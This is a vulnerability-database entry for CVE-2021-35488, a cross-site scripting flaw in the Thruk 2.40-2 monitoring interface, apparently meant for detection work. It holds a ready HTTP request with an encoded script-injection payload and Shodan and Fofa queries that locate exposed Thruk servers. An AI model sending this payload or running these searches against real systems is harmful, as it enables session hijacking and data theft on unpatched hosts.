🔙 목록으로 돌아가기

CVE-2021-35488: Thruk 2.40-2 - Cross-Site Scripting

TitleThruk 2.40-2 - Cross-Site Scripting
Authorarafatansari
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to a patched version of Thruk or apply the vendor-supplied patch to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.12795
CVE IDCVE-2021-35488
CWE IDCWE-79
Shodan Queryhttp.html:"Thruk"http.html:"thruk"
Fofa Querybody="thruk"title=="thruk monitoring webinterface"
Tags cve2021 cve thruk xss vuln

🔍 Vulnerability Description

Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.

🌐 HTTP Request

GET /thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35488.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-35488.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A